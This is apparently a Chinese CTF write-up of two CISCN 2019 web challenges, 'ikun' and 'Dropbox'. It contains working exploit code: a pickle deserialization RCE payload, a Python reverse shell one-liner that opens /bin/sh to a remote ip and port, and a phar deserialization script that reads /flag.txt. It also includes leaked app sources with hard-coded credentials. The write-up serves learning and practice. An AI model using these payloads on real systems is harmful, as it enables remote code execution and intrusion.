贴一个phar的学习文章
[ciscn2019 华北赛区 day1 web2]ikun
知识点：逻辑漏洞，jwt，python反序列化
这题本来是在buuctf做的，后来buuctf维护，然后就在攻防世界做了
打开题目看到一定要买到lv6，随手翻页,看到如图，那么要找到lv6.png，写个脚本来找快一点。
import requests as res
url='http://8110e838-75a9-4a2f-8b80-38b3680ba32c.node3.buuoj.cn/shop?page='
for i in range(1,1000):
r=res.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break找到是在181页，购买的话需要登录，随意注册一个账号就行了（但不要注册admin账号，其他都可以）
点进去是直接购买
点购买的话是加入购物车，有折扣
点结算发现请求包里discount即折扣，那么我们直接改成0.000000001就可以成功购买了
之后发现只允许admin访问
有个jwt，这里用到了一个工具c-jwt-cracker
使用解密工具解出密钥
是"1Kun"，拿到jwt官网合成一下jwt
进去之后看到有个www.zip备份，下载下来
一堆python文件，在admin.py中 存在反序列化漏洞
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)因为引入了pickle函数，所以存在反序列化漏洞的可能性，可以构造__reduce__的魔术方法来执行命令
贴上成功的代码，这里简要说一下，pickle.dumps是序列化，pickle.loads是反序列化.
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval,("__import__('os').popen('ls /').read()",))
a=pickle.dumps(payload())
#print(a)
a=urllib.quote(a)
print(a)将得到的值改到become里传过去就可以了
这里还可以
return (eval,("__import__('os').listdir('/')",))而这里system('ls /')不行是因为他不能通过return返回查询结果，同理popen('ls /')也不行，但是popen().read()就可以返回查询结果。之后cat /flag.txt就可以了。
当然这题也可以通过命令执行反弹shell
不过比较麻烦，这里贴上代码，因为靶机不能访问外网我也没有再试了，buuctf里面的的话可以开个靶机来用，xctf好像没有这个功能。
#python2
import pickle
import urllib
import os
class exp(object):
def __reduce__(self):
s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ip,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
return os.system, (s,)
e=exp()
poc = pickle.dumps(e)
print urllib.quote(poc)
[CISCN2019 华北赛区 Day1 Web1]Dropbox
随意注册一个账号登录进去，是文件上传，随意上传一个
尝试上传木马文件，发现怎么修改都上传不了，试试其他功能
下载试试尝试抓包修改读取，读取passwd文件成功，试试读取源码
最后发现在上两层目录
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>包含class.php读取一下
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>再读取其他的
upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>download.php，在download.php里面发现不允许读取含flag的文件，说明可能存放flag.php|.txt等
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>delete.php
<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
接下来就是漫长的代码审计过程
- download.php里有ini_set("open_basedir", getcwd() . ":/etc:/tmp");限制了只有在当前目录（getcwd返回当前目录）和/etc,/tmp里访问，而delete.php里没有，所以后面利用要在delete.php里利用。
- function _call($func,$args)魔术方法：会在对象调用的方法不存在时，自动执行。 $func:被调用的方法名，所以$func()在这个魔术方法中，可以表示被调用的那个方法； $args : 被调用方法中的参数（这是个数组）。用于遍历上传的文件并将信息存储。
- phar序列化，当生成phar可将对象序列化存储，而且是靠文件头来读取的，即使生成之后修改后缀名，也能识别，而使用phar://伪协议读取时，能够反序列化。利用条件：
- phar文件要能上传到服务端，如
file_exists()，fopen()，file_get_contents()，file()等文件操作的函数 - 要有可用的魔术方法作为跳板
- 文件操作函数的参数可控，且没有过滤":、/、phar"等特殊字符
- phar文件要能上传到服务端，如
下面贴出一个成功的利用脚本：
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("./phar.phar");
$phar = new Phar("./phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>将生成文件后缀改为jpg，然后上传之后删除是抓包，改为phar://phar.jpg就得到了flag
扫一扫
400
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
